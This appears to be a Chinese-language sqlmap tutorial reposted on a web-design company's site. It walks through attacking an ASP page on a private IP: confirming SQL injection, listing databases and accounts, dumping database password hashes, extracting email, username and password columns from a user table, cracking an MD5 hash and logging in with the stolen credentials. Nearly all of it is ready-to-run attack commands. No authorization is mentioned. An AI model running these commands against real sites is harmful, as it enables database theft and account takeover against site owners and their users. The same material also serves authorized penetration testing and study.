這篇文章主要介紹滲透測試工具sqlmap怎么用，文中介紹的非常詳細，具有一定的參考價值，感興趣的小伙伴們一定要看完！

成都創新互聯公司專注于企業成都全網營銷推廣、網站重做改版、隨州網站定制設計、自適應品牌網站建設、H5開發、商城系統網站開發、集團公司官網建設、外貿網站制作、高端網站制作、響應式網頁設計等建站業務，價格優惠性價比高，為隨州等各大城市提供網站開發制作服務。

一、檢測注入點是否可用

C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134"

參數：

-u：指定注入點url

注入結果展示：

（1）注入參數id為GET注入，注入類型有四種分別為：boolean-based blind、error-based、stacked queries、inline query。

（2）web服務器系統為windows 2003 or XP

（3）web應用程序技術為：ASP.NET, Microsoft IIS 6.0

（4）數據庫類型為：SQLSERVER 2000

其中圖一有若干詢問語句，需要用戶輸入[Y/N]，如果你懶得輸入或者不懂怎么輸入可以讓程序自動輸入，只需添加一個參數即可，命令如下：

C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --batch

二、暴庫

一條命令即可曝出該sqlserver中所有數據庫名稱，命令如下：

C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --dbs

參數：

--dbs：dbs前面有兩條杠，請看清楚。

結果顯示該sqlserver中共包含7個可用的數據庫。

三、web當前使用的數據庫

C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --current-db

四、web數據庫使用賬戶

C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --current-user

五、列出sqlserver所有用戶

C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --users

六、數據庫賬戶與密碼

C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --passwords

七、列出數據庫中的表

C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata --tables

參數：

-D：指定數據庫名稱

--tables：列出表

結果體現共列出了34張表。

八、列出表中字段

C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata -T userb --columns

參數：

-D：指定數據庫名稱

-T：指定要列出字段的表

--columns：指定列出字段

結果顯示該userb表中包含了23條字段。

九、暴字段內容

C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata -T userb -C "email,Username,userpassword" --dump

參數：

-C ：指定要暴的字段

--dump：將結果導出

如果字段內容太多，需要花費很多時間。可以指定導出特定范圍的字段內容，命令如下：

C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata -T userb -C "email,Username,userpassword" --start 1 --stop 10 --dump

參數：

--start：指定開始的行

--stop：指定結束的行

此條命令的含義為：導出數據庫tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的數據內容。

十、驗證結果

通過上圖結果看到其中的一個用戶信息為：

email：123456@qq.com

username: 1.asp

password: 49ba59abbe56e057

通過md5解密，得到該hash的原文密碼為：123456

拿到賬號密碼我們來測試是否可以登錄

驗證成功！

以上是“滲透測試工具sqlmap怎么用”這篇文章的所有內容，感謝各位的閱讀！希望分享的內容對大家有幫助，更多相關知識，歡迎關注創新互聯行業資訊頻道！

文章名稱：滲透測試工具sqlmap怎么用-創新互聯
文章鏈接：http://vcdvsql.cn/article22/ccshjc.html

成都網站建設公司_創新互聯，為您提供商城網站、建站公司、電子商務、全網營銷推廣、品牌網站設計、網站排名

廣告

聲明：本網站發布的內容（圖片、視頻和文字）以用戶投稿、用戶轉載內容為主，如果涉及侵權請盡快告知，我們將會在第一時間刪除。文章觀點不代表本網站立場，如需處理請聯系客服。電話：028-86922220；郵箱：631063699@qq.com。內容未經允許不得轉載，或轉載時需注明來源： 創新互聯